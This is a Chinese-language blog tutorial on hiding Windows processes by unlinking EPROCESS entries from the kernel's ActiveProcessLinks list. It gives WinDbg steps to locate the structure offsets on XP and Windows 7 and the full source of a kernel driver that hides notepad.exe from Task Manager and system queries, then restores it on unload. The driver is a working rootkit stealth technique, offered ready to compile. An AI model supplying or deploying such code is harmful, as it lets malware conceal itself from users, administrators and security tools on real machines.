首先,我们知道,进程体EPROCESS是被系统维护在一个双向链表LIST_ENTRY中的,那么,我们只要把进程的EPROCESS从这个链表中摘除,就可以实现进程隐藏了,当然,这只能瞒过进程管理器和zwQuerySystemInformation,暴力枚举依旧可以发现断链隐藏的进程,因为进程体还在内存中,这个以后再说。

要隐藏我们指定的某个进程,我们肯定需要遍历整个EPROCESS链表, 当EPROCESS对应的进程名与 我们所指定的进程的进程名一样时,我们就把该EPROCESS从链表中移除。

这里。我们遇到两个问题,:

1.既然要遍历链表,我们就要知道每个结构的前后结构;

2.既然要对比进程名,我们就要知道进程名放在哪个地方;

以上两个问题,借助Windbg,我们就可以解决

下面我们以x86为例:

在windbg中,我们先看一下EPROCESS的结构,输入命令dt _EPROCESS,可以发现在偏移0x88处,有一个变量ActiveProcessLinks,它的类型为LIST_ENTRY

断链隐藏进程及恢复(附代码)-风君雪科技博客

在输入命令dt _LIST_ENTRY,查看LIST_ENTRY的结构,可以看到变量FLink和BLink,FLink指向当前节点的后一个节点的ActiveProcessLinks地址,BLink指向当前结点的前一个节点的ActiveProcessLinks地址

继续往下,我们可以看到在偏移0x174处,出现了ImageFileName,这里存的就是我们要找的进程名

下面我们切入一个进程实际看一下  输入命令!process 0 0,就可以显示所有进程信息

断链隐藏进程及恢复(附代码)-风君雪科技博客

然后,输入命令dt  _EPROCESS  895d6da0就可以切入进程smss.exe了   

断链隐藏进程及恢复(附代码)-风君雪科技博客     

smss.exe的后一个结点的 ActiveProcessLinks就放在地址0x89a6d778中,用dd 0x89a6d778命令查看地址0x89a6d778中的内容,

注意,因为FLink指向当前节点的后一个节点的ActiveProcessLinks地址,所以后一个节点的EPROCESS地址为ActiveProcessLinks地址减去FLink偏移0x88

然后就可以找到smss.exe的下一个进程winlogon.exe了,这就印证了上面的截图中看到smss.exe的下一个进程是winlogon.exe

断链隐藏进程及恢复(附代码)-风君雪科技博客

这样,我们就解决了我们所遇到的问题,对于x64,方法是一样的,读者可以自行练习。代码如下:

  1 #ifndef CXX_HIDEPROCESS_H
  2 #    include "HideProcess.h"
  3 #endif
  4 
  5 
  6 ULONG_PTR ActiveOffsetPre =  0;
  7 ULONG_PTR ActiveOffsetNext = 0;
  8 ULONG_PTR ImageName = 0; 
  9 WIN_VERSION WinVersion = WINDOWS_UNKNOW;
 10 
 11 PLIST_ENTRY Temp = NULL;
 12 PLIST_ENTRY HeadEntry = NULL;
 13 NTSTATUS
 14     DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)
 15 {
 16 
 17 
 18     DbgPrint("DriverEntry
");
 19 
 20     DriverObject->DriverUnload = UnloadDriver;
 21 
 22 
 23     WinVersion = GetWindowsVersion();
 24 
 25 
 26     switch(WinVersion)
 27     {
 28     case WINDOWS_XP:   //32Bits
 29         {
 30 
 31             ActiveOffsetPre =  0x8c;
 32             ActiveOffsetNext = 0x88;
 33             ImageName = 0x174; 
 34             break;
 35         }
 36 
 37     case WINDOWS_7:   //64Bits 
 38         {
 39             ActiveOffsetPre =  0x190;
 40             ActiveOffsetNext = 0x188;
 41             ImageName = 0x2e0; 
 42             break;
 43         }
 44     }
 45     
 46 
 47     HideProcess("notepad.exe");
 48 
 49     HeadEntry = (PLIST_ENTRY)((ULONG_PTR)PsGetCurrentProcess()+ActiveOffsetNext);// 在DriverEntry中执行得到的才是System进程
 50 
 51     return STATUS_SUCCESS;
 52 
 53 }
 54 
 55 VOID HideProcess(char* ProcessName)
 56 {
 57     PEPROCESS EProcessCurrent = NULL;
 58     PEPROCESS EProcessPre = NULL;
 59 
 60 
 61     EProcessCurrent = PsGetCurrentProcess();    //System  EProcess
 62     
 63     
 64 
 65     EProcessPre = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetPre)))-ActiveOffsetNext);
 66 
 67     //DbgPrint("EProcessCurrent: 0x%p
",EProcessCurrent);  
 68 
 69     //DbgPrint("EProcessNext: 0x%p
",EProcessNext);  
 70 
 71 
 72 
 73     while (EProcessCurrent!=EProcessPre)
 74     {
 75         //    DbgPrint("%s
",(char*)((ULONG_PTR)EProcessCurrent+ImageName));
 76 
 77 
 78         if(strcmp((char*)((ULONG_PTR)EProcessCurrent+ImageName),ProcessName)==0)
 79         {
 80 
 81 
 82             Temp = (PLIST_ENTRY)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext);
 83 
 84             if (MmIsAddressValid(Temp))
 85             {
 86                 //    Temp->Blink->Flink = Temp->Flink;
 87                 //    Temp->Flink->Blink = Temp->Blink;   //数据结构  不稳定
 88 
 89 
 90                 RemoveEntryList(Temp);
 91 
 92 
 93             }
 94 
 95 
 96             break;
 97         }
 98 
 99         EProcessCurrent = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext)))-ActiveOffsetNext);
100 
101 
102     }
103 }
104 
105 VOID UnloadDriver(PDRIVER_OBJECT  DriverObject)
106 {
107     ResumeProcess();
108     DbgPrint("UnloadDriver
");
109 }
110 
111 VOID ResumeProcess()
112 {
113     
114     if(Temp!=NULL)
115     {
116         InsertHeadList(HeadEntry,Temp);
117     }
118     
119 
120 }
121 
122 
123 
124 
125 
126 
127 WIN_VERSION GetWindowsVersion()
128 {
129     RTL_OSVERSIONINFOEXW osverInfo = {sizeof(osverInfo)}; 
130     pfnRtlGetVersion RtlGetVersion = NULL;
131     WIN_VERSION WinVersion;
132     WCHAR wzRtlGetVersion[] = L"RtlGetVersion";
133 
134     RtlGetVersion = GetFunctionAddressByName(wzRtlGetVersion);    //Ntoskrnl.exe  导出表
135     if (RtlGetVersion)
136     {
137         RtlGetVersion((PRTL_OSVERSIONINFOW)&osverInfo); 
138     } 
139     else 
140     {
141         PsGetVersion(&osverInfo.dwMajorVersion, &osverInfo.dwMinorVersion, &osverInfo.dwBuildNumber, NULL);   //Documet
142     }
143 
144     DbgPrint("Build Number: %d
", osverInfo.dwBuildNumber);
145 
146     if (osverInfo.dwMajorVersion == 5 && osverInfo.dwMinorVersion == 1) 
147     {
148         DbgPrint("WINDOWS_XP
");
149         WinVersion = WINDOWS_XP;
150     }
151     else if (osverInfo.dwMajorVersion == 6 && osverInfo.dwMinorVersion == 1)
152     {
153         DbgPrint("WINDOWS 7
");
154         WinVersion = WINDOWS_7;
155     }
156     else if (osverInfo.dwMajorVersion == 6 && 
157         osverInfo.dwMinorVersion == 2 &&
158         osverInfo.dwBuildNumber == 9200)
159     {
160         DbgPrint("WINDOWS 8
");
161         WinVersion = WINDOWS_8;
162     }
163     else if (osverInfo.dwMajorVersion == 6 && 
164         osverInfo.dwMinorVersion == 3 && 
165         osverInfo.dwBuildNumber == 9600)
166     {
167         DbgPrint("WINDOWS 8.1
");
168         WinVersion = WINDOWS_8_1;
169     }
170     else
171     {
172         DbgPrint("WINDOWS_UNKNOW
");
173         WinVersion = WINDOWS_UNKNOW;
174     }
175 
176     return WinVersion;
177 }
178 
179 
180 PVOID 
181     GetFunctionAddressByName(WCHAR *wzFunction)
182 {
183     UNICODE_STRING uniFunction;  
184     PVOID AddrBase = NULL;
185 
186     if (wzFunction && wcslen(wzFunction) > 0)
187     {
188         RtlInitUnicodeString(&uniFunction, wzFunction);      //常量指针
189         AddrBase = MmGetSystemRoutineAddress(&uniFunction);  //在System 进程  第一个模块  Ntosknrl.exe  ExportTable
190     }
191 
192     return AddrBase;
193 }